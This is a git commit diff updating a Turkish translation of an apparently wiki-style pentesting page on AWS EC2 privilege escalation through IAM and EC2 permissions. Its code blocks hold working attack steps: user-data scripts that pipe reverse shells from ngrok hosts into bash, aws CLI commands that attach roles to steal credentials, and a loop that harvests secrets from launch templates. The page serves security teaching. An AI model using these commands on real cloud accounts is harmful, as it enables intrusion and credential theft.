Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-02-06 02:14:22 +00:00
parent 3c25d97c6c
commit cc3ebeb1dc

View File

@@ -12,11 +12,11 @@ Daha fazla **EC2 hakkında bilgi** için kontrol edin:
### `iam:PassRole`, `ec2:RunInstances`
Bir saldırgan **bir IAM rolü ekleyerek bir örnek oluşturabilir ve ardından örneğe erişerek IAM rolü kimlik bilgilerini metadata uç noktasından çalabilir.**
Bir saldırgan **bir IAM rolü ekleyerek bir örnek oluşturabilir ve ardından örneğe erişerek** IAM rolü kimlik bilgilerini metadata uç noktasından çalabilir.
- **SSH ile Erişim**
Bir **oluşturulmuş** **ssh anahtarı** (`--key-name`) kullanarak yeni bir örnek başlatın ve ardından buna ssh ile bağlanın (yeni bir tane oluşturmak istiyorsanız `ec2:CreateKeyPair` iznine sahip olmanız gerekebilir).
Yeni bir örnek çalıştırarak **oluşturulmuş** **ssh anahtarı** (`--key-name`) kullanın ve ardından buna ssh ile bağlanın (yeni bir tane oluşturmak istiyorsanız `ec2:CreateKeyPair` iznine sahip olmanız gerekebilir).
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
@@ -30,7 +30,7 @@ echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
@@ -44,7 +44,7 @@ Dikkatli olun, eğer IAM rolünün kimlik bilgilerini örneğin dışında kulla
#### ECS'ye Privesc
Bu izin seti ile **bir EC2 örneği oluşturabilir ve bunu bir ECS kümesine kaydedebilirsiniz**. Bu şekilde, ECS **hizmetleri** erişiminiz olan **EC2 örneği** içinde **çalıştırılacaktır** ve ardından bu hizmetlere (docker konteynerleri) sızabilir ve **bağlı ECS rollerini çalabilirsiniz**.
Bu izin seti ile **bir EC2 örneği oluşturabilir ve bunu bir ECS kümesine kaydedebilirsiniz**. Bu şekilde, ECS **hizmetleri** erişiminiz olan **EC2 örneği** içinde **çalıştırılacak** ve ardından bu hizmetlere (docker konteynerleri) sızabilir ve **bağlı ECS rollerini çalabilirsiniz**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -65,7 +65,7 @@ ECS hizmetlerini bu yeni EC2 örneğinde **çalıştırmak için zorlamak** nas
aws-ecs-privesc.md
{{#endref}}
Eğer **yeni bir örnek oluşturamıyorsanız** ancak `ecs:RegisterContainerInstance` iznine sahipseniz, örneği küme içinde kaydedebilir ve belirtilen saldırıyı gerçekleştirebilirsiniz.
Eğer **yeni bir örnek oluşturamıyorsanız** ama `ecs:RegisterContainerInstance` iznine sahipseniz, örneği küme içinde kaydedebilir ve belirtilen saldırıyı gerçekleştirebilirsiniz.
**Olası Etki:** Görevlerle ilişkilendirilmiş ECS rollerine doğrudan privesc.
@@ -86,11 +86,11 @@ Eğer **örnek profil bir role sahipse** ve saldırgan **bunu kaldıramıyorsa**
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan privesc (bir AWS EC2 örneğini ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir örnek profil durumuna sahip olmanız gerekir).
**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan privesc (bir AWS EC2 örneğini ele geçirmiş olmanız ve bazı ek izinler veya belirli bir örnek profil durumuna sahip olmanız gerekir).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Bu izinlerle, bir örneğe bağlı olan örnek profilini değiştirmek mümkündür, bu nedenle saldırgan zaten bir örneğe erişim sağladıysa, ona bağlı olanı değiştirerek daha fazla örnek profil rolü için kimlik bilgilerini çalabilir.
Bu izinlerle, bir örneğe bağlı olan örnek profilini değiştirmek mümkündür, bu nedenle saldırı zaten bir örneğe erişim sağladıysa, ona bağlı olanı değiştirerek daha fazla örnek profil rolü için kimlik bilgilerini çalabilecektir.
- Eğer **bir örnek profili varsa**, örnek profilini **kaldırabilir** (`ec2:DisassociateIamInstanceProfile`) ve **iliştirebilirsiniz**.
```bash
@@ -98,7 +98,7 @@ aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Va
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- veya **kullanılmış** örneğin **örnek profili**ni değiştirin (`ec2:ReplaceIamInstanceProfileAssociation`).
- veya **kullanılmış** örneğin **örnek profilini** değiştirin (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
@@ -106,7 +106,7 @@ aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<va
### `ec2:RequestSpotInstances`,`iam:PassRole`
**`ec2:RequestSpotInstances` ve `iam:PassRole`** izinlerine sahip bir saldırgan, **bağlı bir EC2 rolü** ve **kullanıcı verisinde** bir **rev shell** ile bir **Spot Instance** **talep edebilir**.\
**`ec2:RequestSpotInstances` ve `iam:PassRole`** izinlerine sahip bir saldırgan, **bağlı bir EC2 Rolü** ve **kullanıcı verisinde** bir **rev shell** ile bir **Spot Instance** **talep edebilir**.\
Örnek çalıştırıldığında, **IAM rolünü çalabilir**.
```bash
REV=$(printf '#!/bin/bash
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
**`ec2:ModifyInstanceAttribute`** yetkisine sahip bir saldırgan, örneklerin özelliklerini değiştirebilir. Bunlar arasında, **kullanıcı verisini değiştirme** yeteneği vardır; bu da, örneğin **rastgele verileri çalıştırmasını** sağlayabileceği anlamına gelir. Bu, **EC2 örneğine bir rev shell almak** için kullanılabilir.
**`ec2:ModifyInstanceAttribute`** yetkisine sahip bir saldırgan, örneklerin özelliklerini değiştirebilir. Bunlar arasında, **kullanıcı verisini değiştirebilir**, bu da örneğin **rastgele verileri çalıştırmasını** sağlar. Bu, **EC2 örneğine bir rev shell almak** için kullanılabilir.
Özelliklerin yalnızca **örnek durdurulduğunda** **değiştirilebileceğini** unutmayın, bu nedenle **izinler** **`ec2:StopInstances`** ve **`ec2:StartInstances`** gereklidir.
Özelliklerin yalnızca **örnek durdurulduğunda** **değiştirilebileceğini** unutmayın, bu nedenle **izinler** **`ec2:StopInstances`** ve **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -162,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` ve `ec2:ModifyLaunchTemplate`** izinlerine sahip bir saldırgan, **kullanıcı verisinde** bir **rev shell** ile **yeni bir Başlatma Şablonu sürümü** oluşturabilir ve **üzerinde herhangi bir EC2 IAM Rolü** ile varsayılan sürümü değiştirebilir. **O şablonu** kullanan **herhangi bir Autoscaler grubu**, **en son** veya **varsayılan sürümü** kullanacak şekilde **yapılandırılmış** olan **o Başlatma Şablonu** ile **örnekleri yeniden çalıştıracak** ve rev shell'i çalıştıracaktır.
**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` ve `ec2:ModifyLaunchTemplate`** izinlerine sahip bir saldırgan, **kullanıcı verisinde** bir **rev shell** ile **yeni bir Başlatma Şablonu sürümü** oluşturabilir ve **üzerinde herhangi bir EC2 IAM Rolü** bulundurabilir, varsayılan sürümü değiştirebilir ve **o Başlatma Şablonunu** kullanan **herhangi bir Autoscaler grubunun** **en son** veya **varsayılan sürümü** kullanacak şekilde **yapılandırılmış** olması durumunda, o şablonu kullanarak **örnekleri yeniden çalıştıracak** ve rev shell'i çalıştıracaktır.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan yetki artırma.
**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan yetki yükseltme.
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** izinlerine sahip bir saldırgan, **IAM Rolü** ile birlikte bir **Launch Configuration** oluşturabilir ve **kullanıcı verisi** içinde bir **rev shell** yerleştirebilir, ardından bu yapılandırmadan **bir autoscaling grubu** oluşturup rev shell'in **IAM Rolünü çalmasını** bekleyebilir.
**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** izinlerine sahip bir saldırgan, **IAM Rolü** ile birlikte bir **Launch Configuration** oluşturabilir ve **kullanıcı verisi** içine bir **rev shell** yerleştirebilir, ardından bu yapılandırmadan **bir autoscaling grubu** oluşturup rev shell'in **IAM Rolünü çalmasını** bekleyebilir.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -211,11 +211,11 @@ aws ec2-instance-connect send-ssh-public-key \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Potansiyel Etki:** Çalışan örneklere bağlı EC2 IAM rollerine doğrudan yetki artırma.
**Potansiyel Etki:** Çalışan örneklere bağlı EC2 IAM rollerine doğrudan privesc.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** iznine sahip bir saldırgan, **bir seri bağlantıya ssh anahtarı ekleyebilir**. Eğer seri bağlantı etkin değilse, saldırganın **bunu etkinleştirmek için `ec2:EnableSerialConsoleAccess` iznine** ihtiyacı vardır.
**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** iznine sahip bir saldırgan **bir seri bağlantıya ssh anahtarı ekleyebilir**. Seri bağlantı etkin değilse, saldırganın **bunu etkinleştirmek için `ec2:EnableSerialConsoleAccess` iznine** ihtiyacı vardır.
Seri porta bağlanmak için ayrıca **makine içindeki bir kullanıcının kullanıcı adı ve şifresini bilmeniz gerekir.**
```bash
@@ -235,7 +235,7 @@ Bu yol, bunu istismar etmek için bir kullanıcı adı ve şifre bilmeniz gerekt
### `describe-launch-templates`,`describe-launch-template-versions`
Başlatma şablonları sürümlemeye sahip olduğundan, **`ec2:describe-launch-templates`** ve **`ec2:describe-launch-template-versions`** izinlerine sahip bir saldırgan, kullanıcı verilerinde bulunan kimlik bilgileri gibi hassas bilgileri keşfetmek için bunları istismar edebilir. Bunu başarmak için, aşağıdaki betik mevcut başlatma şablonlarının tüm sürümlerini döngüye alır:
Başlatma şablonları sürümleme içerdiğinden, **`ec2:describe-launch-templates`** ve **`ec2:describe-launch-template-versions`** izinlerine sahip bir saldırgan, kullanıcı verilerinde bulunan kimlik bilgileri gibi hassas bilgileri keşfetmek için bunları istismar edebilir. Bunu başarmak için, aşağıdaki betik mevcut başlatma şablonlarının tüm sürümlerini döngüye alır:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -252,7 +252,7 @@ Yukarıdaki komutlarda, belirli desenleri (`aws_|password|token|api`) belirtmemi
`aws_access_key_id` ve `aws_secret_access_key` bulursak, bu kimlik bilgilerini AWS'ye kimlik doğrulamak için kullanabiliriz.
**Olası Etki:** IAM kullanıcı(lar)ına doğrudan yetki yükseltme.
**Olası Etki:** IAM kullanıcı(ları) için doğrudan ayrıcalık yükseltme.
## Referanslar